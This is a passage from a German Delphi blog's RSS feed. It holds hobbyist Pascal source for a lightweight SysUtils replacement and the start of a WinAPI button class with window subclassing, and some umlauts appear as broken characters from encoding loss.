<strong><span style="color: #000080;">procedure</span></strong> ShowMessage<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szMessage<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">);</span>
<strong><span style="color: #000080;">begin</span></strong>
   MessageBox<span style="color: #000000;">(</span><span style="color: #000000;">0</span><span style="color: #000000;">,</span> Pointer<span style="color: #000000;">(</span>szMessage<span style="color: #000000;">),</span> <span style="color: #000080;">'InfoBox'</span><span style="color: #000000;">,</span> <span style="color: #000000;">0</span><span style="color: #000000;">);</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> FileExists<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szFileName<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> Boolean<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
   Handle   <span style="color: #000000;">:</span> THandle<span style="color: #000000;">;</span>
   FindData <span style="color: #000000;">:</span> TWin32FindData<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   Handle   <span style="color: #000000;">:=</span> FindFirstFile<span style="color: #000000;">(</span>Pointer<span style="color: #000000;">(</span>szFileName<span style="color: #000000;">),</span>FindData<span style="color: #000000;">);</span>
   Result   <span style="color: #000000;">:=</span> <span style="color: #000000;">(</span>Handle <span style="color: #000000;">&lt;&gt;</span> INVALID_HANDLE_VALUE<span style="color: #000000;">);</span>

   <strong><span style="color: #000080;">if</span></strong><span style="color: #000000;">(</span>Result<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> Windows<span style="color: #000000;">.</span>FindClose<span style="color: #000000;">(</span>Handle<span style="color: #000000;">);</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">procedure</span></strong> WriteDebug<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> szStr<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span> <strong><span style="color: #000080;">const</span></strong> Param <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">);</span>
<strong><span style="color: #000080;">var</span></strong>
   F    <span style="color: #000000;">:</span> TextFile<span style="color: #000000;">;</span>
   Attr <span style="color: #000000;">:</span> DWord<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">const</span></strong> FName <span style="color: #000000;">=</span> <span style="color: #000080;">'debug.txt'</span><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   <strong><span style="color: #000080;">if</span></strong> Param <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      AssignFile<span style="color: #000000;">(</span>F<span style="color: #000000;">,</span> FName<span style="color: #000000;">);</span>
      Attr <span style="color: #000000;">:=</span> GetFileAttributes<span style="color: #000000;">(</span>FName<span style="color: #000000;">);</span>
      <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span><span style="color: #000000;">(</span>Attr <strong><span style="color: #000080;">and</span></strong> FILE_ATTRIBUTE_DIRECTORY	<span style="color: #000000;">)</span> <span style="color: #000000;">=</span> FILE_ATTRIBUTE_DIRECTORY<span style="color: #000000;">)</span> <strong><span style="color: #000080;">and</span></strong>
         <strong><span style="color: #000080;">Not</span></strong> <span style="color: #000000;">(</span><span style="color: #000000;">(</span>Attr <span style="color: #000000;">=</span> <span style="color: #000000;">$</span>FFFFFFFF<span style="color: #000000;">))</span> <strong><span style="color: #000080;">then</span></strong>
         Exit<span style="color: #000000;">;</span>
      <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>Attr <span style="color: #000000;">=</span> <span style="color: #000000;">$</span>FFFFFFFF<span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
         ReWrite<span style="color: #000000;">(</span>F<span style="color: #000000;">)</span>
      <strong><span style="color: #000080;">else</span></strong>
         Append<span style="color: #000000;">(</span>F<span style="color: #000000;">);</span>
      WriteLn<span style="color: #000000;">(</span>F<span style="color: #000000;">,</span> IntToStr<span style="color: #000000;">(</span>GetTickCount <strong><span style="color: #000080;">div</span></strong> <span style="color: #000000;">1000</span><span style="color: #000000;">)</span> <span style="color: #000000;">+</span> <span style="color: #000080;">': '</span> <span style="color: #000000;">+</span> szStr<span style="color: #000000;">);</span>
      Flush<span style="color: #000000;">(</span>F<span style="color: #000000;">);</span>
      CloseFile<span style="color: #000000;">(</span>F<span style="color: #000000;">);</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> UpperCase<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> s<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong> i <span style="color: #000000;">:</span> Integer<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   Result <span style="color: #000000;">:=</span> <span style="color: #000080;">''</span><span style="color: #000000;">;</span>

   <strong><span style="color: #000080;">if</span></strong><span style="color: #000000;">(</span>length<span style="color: #000000;">(</span>s<span style="color: #000000;">)</span> <span style="color: #000000;">&gt;</span> <span style="color: #000000;">0</span><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      SetLength<span style="color: #000000;">(</span>Result<span style="color: #000000;">,</span>length<span style="color: #000000;">(</span>s<span style="color: #000000;">));</span>
      <strong><span style="color: #000080;">for</span></strong> i <span style="color: #000000;">:=</span> <span style="color: #000000;">1</span> <strong><span style="color: #000080;">to</span></strong> length<span style="color: #000000;">(</span>s<span style="color: #000000;">)</span> <strong><span style="color: #000080;">do</span></strong>
         Result<span style="color: #000000;">[</span>i<span style="color: #000000;">]</span> <span style="color: #000000;">:=</span> UpCase<span style="color: #000000;">(</span>s<span style="color: #000000;">[</span>i<span style="color: #000000;">]);</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> LowerCase<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> s<span style="color: #000000;">:</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">String</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong> i <span style="color: #000000;">:</span> Integer<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   Result <span style="color: #000000;">:=</span> <span style="color: #000080;">''</span><span style="color: #000000;">;</span>

   <strong><span style="color: #000080;">if</span></strong><span style="color: #000000;">(</span>length<span style="color: #000000;">(</span>s<span style="color: #000000;">)</span> <span style="color: #000000;">&gt;</span> <span style="color: #000000;">0</span><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      SetLength<span style="color: #000000;">(</span>Result<span style="color: #000000;">,</span>length<span style="color: #000000;">(</span>s<span style="color: #000000;">));</span>
      <strong><span style="color: #000080;">for</span></strong> i <span style="color: #000000;">:=</span> <span style="color: #000000;">1</span> <strong><span style="color: #000080;">to</span></strong> length<span style="color: #000000;">(</span>s<span style="color: #000000;">)</span> <strong><span style="color: #000080;">do</span></strong>
         <strong><span style="color: #000080;">case</span></strong> s<span style="color: #000000;">[</span>i<span style="color: #000000;">]</span> <strong><span style="color: #000080;">of</span></strong>
            <span style="color: #000080;">'A'</span><span style="color: #000000;">..</span><span style="color: #000080;">'Z'</span><span style="color: #000000;">,</span><span style="color: #000080;">'�'</span><span style="color: #000000;">,</span><span style="color: #000080;">'�'</span><span style="color: #000000;">,</span><span style="color: #000080;">'�'</span><span style="color: #000000;">:</span>
               Result<span style="color: #000000;">[</span>i<span style="color: #000000;">]</span> <span style="color: #000000;">:=</span> CHR<span style="color: #000000;">(</span>BYTE<span style="color: #000000;">(</span>s<span style="color: #000000;">[</span>i<span style="color: #000000;">])</span> <span style="color: #000000;">+</span> <span style="color: #000000;">32</span><span style="color: #000000;">);</span>
         <strong><span style="color: #000080;">else</span></strong>
            Result<span style="color: #000000;">[</span>i<span style="color: #000000;">]</span> <span style="color: #000000;">:=</span> s<span style="color: #000000;">[</span>i<span style="color: #000000;">];</span>
         <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> IntToStr<span style="color: #000000;">(</span><strong><span style="color: #000080;">const</span></strong> i<span style="color: #000000;">:</span> Int64)<span style="color: #000000;">:</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
  Negativ <span style="color: #000000;">:</span> Boolean<span style="color: #000000;">;</span>
  Dummy   <span style="color: #000000;">:</span> Int64;
<strong><span style="color: #000080;">begin</span></strong>
   Result <span style="color: #000000;">:=</span> <span style="color: #000080;">''</span><span style="color: #000000;">;</span>
   Dummy  <span style="color: #000000;">:=</span> i<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> Dummy <span style="color: #000000;">=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
      Result <span style="color: #000000;">:=</span> <span style="color: #000080;">'0'</span><span style="color: #000000;">;</span>
   Negativ <span style="color: #000000;">:=</span> Dummy <span style="color: #000000;">&lt;</span> <span style="color: #000000;">0</span><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> Negativ <strong><span style="color: #000080;">then</span></strong>
      Dummy <span style="color: #000000;">:=</span> <span style="color: #000000;">-</span>Dummy<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">while</span></strong> Dummy <span style="color: #000000;">&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">do</span></strong>
   <strong><span style="color: #000080;">begin</span></strong>
      Result <span style="color: #000000;">:=</span> Char<span style="color: #000000;">(</span><span style="color: #000000;">(</span>Dummy <strong><span style="color: #000080;">mod</span></strong> <span style="color: #000000;">10</span><span style="color: #000000;">)</span> <span style="color: #000000;">+</span> Integer<span style="color: #000000;">(</span><span style="color: #000080;">'0'</span><span style="color: #000000;">))</span> <span style="color: #000000;">+</span> Result<span style="color: #000000;">;</span>
      Dummy <span style="color: #000000;">:=</span> Dummy <strong><span style="color: #000080;">div</span></strong> <span style="color: #000000;">10</span><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> Negativ <strong><span style="color: #000080;">then</span></strong>
      Result <span style="color: #000000;">:=</span> <span style="color: #000080;">'-'</span> <span style="color: #000000;">+</span> Result<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">function</span></strong> Format<span style="color: #000000;">(</span>fmt<span style="color: #000000;">:</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span> params<span style="color: #000000;">:</span> <strong><span style="color: #000080;">array</span></strong> <strong><span style="color: #000080;">of</span></strong> <strong><span style="color: #000080;">const</span></strong><span style="color: #000000;">):</span> <strong><span style="color: #000080;">string</span></strong><span style="color: #000000;">;</span>
<strong><span style="color: #000080;">var</span></strong>
   pdw1, pdw2: PDWORD<span style="color: #000000;">;</span>
   i<span style="color: #000000;">:</span> integer<span style="color: #000000;">;</span>
   pc<span style="color: #000000;">:</span> PCHAR<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
   pdw1 <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> length<span style="color: #000000;">(</span>params<span style="color: #000000;">)</span> <span style="color: #000000;">&gt;</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">then</span></strong>
      GetMem<span style="color: #000000;">(</span>pdw1, length<span style="color: #000000;">(</span>params<span style="color: #000000;">)</span> <span style="color: #000000;">*</span> sizeof<span style="color: #000000;">(</span>Pointer<span style="color: #000000;">));</span>
   pdw2 <span style="color: #000000;">:=</span> pdw1;
   <strong><span style="color: #000080;">for</span></strong> i <span style="color: #000000;">:=</span> <span style="color: #000000;">0</span> <strong><span style="color: #000080;">to</span></strong> high<span style="color: #000000;">(</span>params<span style="color: #000000;">)</span> <strong><span style="color: #000080;">do</span></strong> <strong><span style="color: #000080;">begin</span></strong>
      pdw2^ <span style="color: #000000;">:=</span> DWORD<span style="color: #000000;">(</span>PDWORD<span style="color: #000000;">(@</span>params<span style="color: #000000;">[</span>i<span style="color: #000000;">])^);</span>
      inc<span style="color: #000000;">(</span>pdw2)<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   GetMem<span style="color: #000000;">(</span>pc<span style="color: #000000;">,</span> <span style="color: #000000;">1024</span> <span style="color: #000000;">-</span> <span style="color: #000000;">1</span><span style="color: #000000;">);</span>
   <strong><span style="color: #000080;">try</span></strong>
      SetString<span style="color: #000000;">(</span>Result<span style="color: #000000;">,</span> pc<span style="color: #000000;">,</span> wvsprintf<span style="color: #000000;">(</span>pc<span style="color: #000000;">,</span> PCHAR<span style="color: #000000;">(</span>fmt<span style="color: #000000;">),</span> PCHAR<span style="color: #000000;">(</span>pdw1)<span style="color: #000000;">));</span>
   <strong><span style="color: #000080;">except</span></strong>
      Result <span style="color: #000000;">:=</span> <span style="color: #000080;">''</span><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>pdw1 <span style="color: #000000;">&lt;&gt;</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
      FreeMem<span style="color: #000000;">(</span>pdw1)<span style="color: #000000;">;</span>
   <strong><span style="color: #000080;">if</span></strong> <span style="color: #000000;">(</span>pc <span style="color: #000000;">&lt;&gt;</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">)</span> <strong><span style="color: #000080;">then</span></strong>
      FreeMem<span style="color: #000000;">(</span>pc<span style="color: #000000;">);</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">procedure</span></strong> FreeAndNil<span style="color: #000000;">(</span><strong><span style="color: #000080;">var</span></strong> Obj<span style="color: #000000;">);</span>
<strong><span style="color: #000080;">var</span></strong>
  Temp<span style="color: #000000;">:</span> TObject<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">begin</span></strong>
  Temp <span style="color: #000000;">:=</span> TObject<span style="color: #000000;">(</span>Obj<span style="color: #000000;">);</span>
  Pointer<span style="color: #000000;">(</span>Obj<span style="color: #000000;">)</span> <span style="color: #000000;">:=</span> <strong><span style="color: #000080;">nil</span></strong><span style="color: #000000;">;</span>
  Temp<span style="color: #000000;">.</span>Free<span style="color: #000000;">;</span>
<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">;</span>

<strong><span style="color: #000080;">end</span></strong><span style="color: #000000;">.</span>
</span>
</span></pre>
<p>Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende  &#8211;  Danke!</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick"/>
<input type="hidden" name="hosted_button_id" value="2E5QQTZEJ3QCY"/>
<input type="image" src="https://www.paypalobjects.com/de_DE/DE/i/btn/btn_donate_SM.gif" border="0" name="submit" alt="Jetzt einfach, schnell und sicher online bezahlen – mit PayPal."/>
<img alt="" border="0" src="https://www.paypalobjects.com/de_DE/i/scr/pixel.gif" width="1" height="1"/><br />
</form>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/x000x-sysutilspas/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>X000X-Btn.pas</title>
		<link>http://www.gods4u.de/x000x-btnpas</link>
		<comments>http://www.gods4u.de/x000x-btnpas#comments</comments>
		<pubDate>Fri, 03 Apr 2009 09:47:37 +0000</pubDate>
		<dc:creator>redaktion</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.gods4u.de/?p=58</guid>
		<description><![CDATA[X000X-Btn.pas Ich habe hier mal ein paar ältere Delphi sourcen eingearbeitet. Die Originale findet Ihr immer noch hier: X000XBtn.pas X000XSysUtils.pas X000XActiveX.pas (******************************************************************************* * * Unit: X000XBtn.pas * Author: (c) 2004, 2005 &#8211; Peter Welz * Mail: delphi[at]gods4u[dot]de * Web : delphi.gods4u.de * * Information: Diese Unit stellt in WinAPI Programmen eine Button-Klasse zur * Verf�gung. [...]]]></description>
			<content:encoded><![CDATA[<h4>X000X-Btn.pas</h4>
<p><span id="more-58"></span></p>
<p>Ich habe hier mal ein paar ältere <a title="delphi source" href="http://gods4u.de" target="_self">Delphi sourcen</a> eingearbeitet. Die Originale findet Ihr immer noch hier:</p>
<p><span style="font-family: Courier New; color: #000000; font-size: small;"><a href="http://delphi.gods4u.de/X000XBtn.html">X000XBtn.pas</a><br />
<a href="http://delphi.gods4u.de/X000XSysUtils.html">X000XSysUtils.pas</a><br />
<a href="http://delphi.gods4u.de/X000XActiveX.html">X000XActiveX.pas</a></span></p>
<p>(*******************************************************************************<br />
*<br />
* Unit:          X000XBtn.pas<br />
* Author:        (c) 2004, 2005 &#8211; Peter Welz<br />
*                                 Mail: delphi[at]gods4u[dot]de<br />
*                                 Web : delphi.gods4u.de<br />
*<br />
* Information:   Diese Unit stellt in WinAPI Programmen eine Button-Klasse zur<br />
*                Verf�gung.<br />
*                Hilfreich beim Entwickeln von kleineren Tools, die ohne die<br />
*                VCL von Borland geschrieben werden, da sich Funktionen einfach<br />
*                dem OnClick Ereignis zuweisen lassen.<br />
*<br />
* History:<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-08-29: Ein Jpeg kann jetzt aus einer Datei bzw. aus einer Resource<br />
*                geladen werden.<br />
*                Kleine �nderung an X000XActiveX &#8211; hMem in funktionen LoadPicture&#8230;<br />
*                wird jetzt nicht mehr �ber CreateStreamOnHGlobalX freigegeben,<br />
*                sondern es wird im finally block erledigt<br />
*                Der MemDC wird jetzt auch wieder freigegeben -<br />
*                Doppelte Funktionsaufrufe in den funktionen *JpegResource* und<br />
*                *JpegFromFile* habe ich zusammnengefasst<br />
*    Kommentar:     Um ein Jpeg aus einer Datei zu laden, einfach Property<br />
*                   Jpeg := &#8216;filename.jpg&#8217; setzen. Pfadangaben sind notwendig ;o)<br />
*                   Um ein Jpeg aus einer Resource zu laden, muss die Resource<br />
*                   vom Typ &#8216;JPEGDATA&#8217; sein und dem Property Jpeg muss der Name<br />
*                   der Resource zugeordnet werden z.B.: Jpeg := &#8216;BILD&#8217;;<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Der &#8220;Klick&#8221; gef�llt mir noch nicht (bei schnellen Mausklicks<br />
*                  wirkt der Klick verz�gert)<br />
*                &#8211; OnMouseOver<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*   weitere Infos am Ende der Unit<br />
*******************************************************************************)</p>
<p>unit X000XBtn;</p>
<p>{.$DEFINE ATOM}</p>
<p>interface</p>
<p>uses Windows, Messages, X000XActiveX;</p>
<p>const<br />
DEBUG = (1=0);</p>
<p>type<br />
TNotifyEvent  = procedure(Sender: TObject) of object;</p>
<p>{$IFNDEF ATOM}</p>
<p>{$MESSAGE &#8216;ATOM ist nicht definiert. Self-Pointer wird im Fenster gespeichert!  &#8216;}</p>
<p>(****************************************************************************)<br />
(* Ich hatte zuerst folgendes implementiert, dann aber irgenwo im Internet  *)<br />
(* gelesen, dass es umst�ndlich/nicht richtig ist, sowas im Fenster mit ab- *)<br />
(* zuspeichern. Dort wurde empfohlen, es mit GlobalAddAtom zu l�sen.        *)<br />
(*                                                                          *)<br />
(* Ich habe jetzt beide M�glichkeiten eingebaut, es kann mit Hilfe der      *)<br />
(* $DEFINE ATOM Directive zwischen den beiden Methoden ausgew�hlt werden    *)<br />
(*                                                                          *)<br />
(* Die Idee war folgende:                                                   *)<br />
(* Ich kann zu jedem Window einen 32-Bit Wert mit abspeichern, der mitge-   *)<br />
(* f�hrt wird. (GWL_USERDATA)                                               *)<br />
(* Da ich f�r das Subclassing (WndProc) eine Referenz auf mein Object       *)<br />
(* brauchte, habe ich mir gedacht, ich speicher im Fenster (GWL_USERDATA)   *)<br />
(* einfach einen Pointer auf eine Datenstruktur ab. Diese Datenstruktur     *)<br />
(* enth�lt wiederum Zeiger auf evtl. Objecteigenschaften, oder �hnliches&#8230; *)<br />
(*                                                                          *)<br />
(* Wie an diese Daten kommen?                                               *)<br />
(*     PWinProperty(GetWindowLong(hWnd, GWL_USERDATA))^.Self                *)<br />
(* Wie diesen Zeiger im Fenster speichern?                                  *)<br />
(*     SetWindowLong(hWnd, GWL_USERDATA, Integer(PWinProperty-Struct));     *)<br />
(****************************************************************************)</p>
<p>type<br />
PWinProperty  = ^TWinProperty;<br />
TWinProperty  = packed Record<br />
Self       : Pointer;<br />
//OldWndProc : Pointer;<br />
(* hier eventuell noch mehr Pointer auf Daten/Propertys *)<br />
(* die mit dem Object mitgef�hrt werden sollen&#8230; *)<br />
end;<br />
{$ENDIF}</p>
<p>type<br />
TBtnState     = (bsUp, bsDown);</p>
<p>type<br />
TX000XBtn = class</p>
<p>private<br />
{$IFNDEF ATOM}<br />
FWinProp    : PWinProperty;<br />
{$ENDIF}<br />
FCaption    : String;<br />
FHandle     : THandle;<br />
FOwner      : THandle;<br />
FName       : String;<br />
FLeft       : Integer;<br />
FTop        : Integer;<br />
FWidth      : Integer;<br />
FHeight     : Integer;<br />
FOnClick    : TNotifyEvent;<br />
FBtnState   : TBtnState;<br />
FTabStop    : Boolean;<br />
FOldWndProc : Pointer;<br />
FIsFocused  : Boolean;<br />
FColor      : COLORREF;<br />
FdcMemory   : HDC;<br />
FJpeg       : String;<br />
FFont       : HFONT;<br />
FFontName   : String;<br />
FFontColor  : COLORREF;<br />
FFontSize   : Integer;<br />
function  GetWidth: Integer;<br />
function  GetHeight: Integer;<br />
procedure SetCaption(const Value: String);<br />
procedure SetWidth(const Value: Integer);<br />
procedure SetHeight(const Value: Integer);<br />
function  GetTabStop: Boolean;<br />
procedure SetTabStop(const Value: Boolean);<br />
procedure ButtonDraw(ps : PPaintStruct = nil);<br />
procedure WndProc(var Msg: TMessage);<br />
procedure SetColor(const Value: COLORREF);<br />
function  SetMethod(Value: Pointer; Data: Pointer = nil): TMethod;<br />
procedure SetupMemDC;<br />
procedure DrawFromMemDC(var pPic: IPicture);<br />
procedure _SetMemDCFromFile(const JpegFileName: String);<br />
procedure _SetMemDCFromRes(const szResName: String);<br />
procedure SetMemDCFromX(const szName: String);<br />
procedure SetFontName(const Value: String);<br />
procedure SetFontColor(const Value: COLORREF);<br />
public<br />
constructor Create(hWndParent: THandle; Position: TPoint);<br />
destructor  Destroy; override;<br />
function SetNotifyEvent(Proc: Pointer): TNotifyEvent;<br />
published<br />
property Handle   : THandle      read FHandle;<br />
property Width    : Integer      read GetWidth   write SetWidth;<br />
property Height   : Integer      read GetHeight  write SetHeight;<br />
property Name     : String       read FName      write FName;<br />
property Caption  : String       read FCaption   write SetCaption;<br />
property OnClick  : TNotifyEvent read FOnClick   write FOnClick;<br />
property TabStop  : Boolean      read GetTabStop write SetTabStop;<br />
property Color    : COLORREF     read FColor     write SetColor;<br />
property Jpeg     : String       read FJpeg      write SetMemDCFromX;<br />
property FontColor: COLORREF     read FFontColor write SetFontColor;<br />
property FontName : String       read FFontName  write SetFontName;<br />
end;</p>
<p>{$IFDEF ATOM}<br />
var<br />
FAtom      : TAtom;<br />
{$ENDIF}</p>
<p>const<br />
CWIDTH  = 100;<br />
CHEIGHT = 27;</p>
<p>implementation</p>
<p>{ TX000XBtn }</p>
<p>uses X000XSysUtils;</p>
<p>type<br />
PFontNameExists = ^TFontNameExists;<br />
TFontNameExists = packed record<br />
Name   : String;<br />
Exists : Boolean;<br />
end;</p>
<p>(* function f�r SubClassen des Buttons. Hiermit werden die Nachrichten an das *)<br />
(* Object weitergeleitet.                                                     *)<br />
function SetWndProc(hWnd: hWnd; Msg: UINT; wParam: wParam; lParam: lParam): lResult; stdcall;<br />
var<br />
mMsg : TMessage;<br />
Self : TX000XBtn;<br />
begin<br />
(* Parameter in die Message schreiben                                      *)<br />
mMsg.Msg    := Msg;<br />
mMsg.wParam := wParam;<br />
mMsg.lParam := lParam;<br />
mMsg.Result := 0;<br />
(* Wir brauchen den Self-Pointer des Objectes, damit wir die Nachrichten an*)<br />
(* selbiges weiterleiten k�nnen. *)<br />
Self        := TX000XBtn({$IFDEF ATOM}<br />
GetProp(hWnd, PChar(FAtom))<br />
{$ELSE}<br />
PWinProperty(GetWindowLong(hWnd, GWL_USERDATA))^.Self<br />
{$ENDIF});<br />
(* Und die Nachricht/en an die WndProc des Objectes weiterleiten.          *)<br />
Self.WndProc(mMsg);<br />
(* Die WndProc des Objectes setzt das Result, welches wir einfach zur�ck-  *)<br />
(* geben.                                                                  *)<br />
Result      := mMsg.Result;<br />
end;</p>
<p>procedure TX000XBtn.WndProc(var Msg: TMessage);<br />
var<br />
ps      : TPaintStruct;<br />
dMsg    : TMsg;<br />
function InRect: Boolean;<br />
var  re : TRect;<br />
pt : TPoint;<br />
begin<br />
pt.X := Msg.LParamLo;<br />
pt.Y := Msg.LParamHi;<br />
GetClientRect(FHandle, re);<br />
Result := ptInRect(re, pt);<br />
end;<br />
begin<br />
(* Result erstmal auf 0 setzen, somit braucht beim behandeln der Nachricht *)<br />
(* nur noch ein Exit mitgegeben werden *)<br />
Msg.Result := 0;<br />
case Msg.Msg of<br />
WM_LBUTTONDOWN:<br />
begin<br />
(* Einmal die Message SETFOCUS rausschicken, damit die anderen *)<br />
(* Buttons auch richtig gezeichnet werden k�nnen *)<br />
SetFocus(FHandle);<br />
(* Alle Mausenachrichten empfangen, auch wenn die Maus nicht   *)<br />
(* mehr �ber unserem Control ist. Ist hier n�tig, da wir sonst *)<br />
(* nicht mitbekommen, wenn die Maus losgelassen wird und sich  *)<br />
(* nicht mehr �ber unserem Control befindet.                   *)<br />
SetCapture(FHandle);<br />
(* Nur wenn Maus noch im Bereich des Buttons ist, den Click merken *)<br />
if InRect then begin<br />
FBtnState := bsDown;<br />
//ButtonPaint;<br />
ButtonDraw;<br />
end;<br />
Exit;<br />
end;<br />
WM_MOUSEMOVE:<br />
begin<br />
(* ToDo: andere Farbe zeichnen&#8230; OnMouseOver Effekt *)<br />
end;<br />
WM_LBUTTONUP:<br />
begin<br />
(* Nur wenn Maus noch im Bereich des Buttons ist, ist es ein Click *)<br />
if InRect then begin<br />
if Assigned(Self.FOnClick) then begin<br />
FOnClick(Self);<br />
end;<br />
end;<br />
(* Hier auf jedenfall den Click wieder zur�cksetzen, damit die    *)<br />
(* Nachrichten wieder an die jeweiligen Controls geschickt werden *)<br />
FBtnState := bsUp;<br />
//ButtonPaint;<br />
ButtonDraw;<br />
(* Und die Maus wieder freigeben, jetzt empfangen elle Controls *)<br />
(* wieder die entsprechenden Nachrichten *)<br />
ReleaseCapture;<br />
Exit;<br />
end;<br />
WM_PAINT:<br />
begin<br />
(* Button zeichnen *)<br />
BeginPaint(FHandle, ps);<br />
(* ToDo: PaintStruct mit �bergeben, somit m�sste nicht das gesamte *)<br />
(*       Fenster neu gezeichnet werden *)<br />
ButtonDraw(@ps);<br />
EndPaint(FHandle, ps);<br />
Exit;<br />
end;<br />
WM_KEYDOWN:<br />
begin<br />
if Msg.WParam = 32 then begin<br />
SendMessage(FHandle, WM_LBUTTONDOWN, 0, 0);<br />
Exit;<br />
end;<br />
end;<br />
WM_KEYUP:<br />
begin<br />
if Msg.WParam = 32 then begin<br />
SendMessage(FHandle, WM_LBUTTONUP, 0, 0);<br />
Exit;<br />
end;<br />
end;<br />
WM_SETFOCUS:<br />
begin<br />
FIsFocused := True;<br />
//ButtonPaint;<br />
ButtonDraw;<br />
(* MsgBeep entfernen *)<br />
PeekMessage(dMsg, 0, WM_CHAR, WM_CHAR, PM_REMOVE);<br />
Exit;<br />
end;<br />
WM_KILLFOCUS:<br />
begin<br />
FIsFocused := False;<br />
//ButtonPaint;<br />
ButtonDraw;<br />
Exit;<br />
end;<br />
end;<br />
(* Nachricht an das Hauptfenster zur�ckgeben *)<br />
Msg.Result := CallWindowProc(FOldWndProc, FHandle, Msg.Msg, Msg.WParam, Msg.LParam);<br />
end;</p>
<p>(* Hilfsfunktion, die eine Struktur vom Type TMethod f�llt und zur�ckliefert  *)<br />
(* Wird gebraucht, um externe funktionen/proceduren an ein Object �bergeben   *)<br />
(* zu k�nnen. (Geh�rt nicht zwingend zu der Klasse)                           *)<br />
function TX000XBtn.SetMethod(Value: Pointer; Data: Pointer = nil): TMethod;<br />
var Method : TMethod;<br />
begin<br />
Method.Code    := Value;<br />
if Assigned(Data) then<br />
Method.Data := Data<br />
else<br />
Method.Data := Self;<br />
Result         := Method;<br />
end;</p>
<p>(* Hilfsfunktion, die eine externe function/procedure vom Type TNotifyEvent   *)<br />
(* einem Klasseninternen property vom gleichen Type zuweist.                  *)<br />
(*******************************************************************************<br />
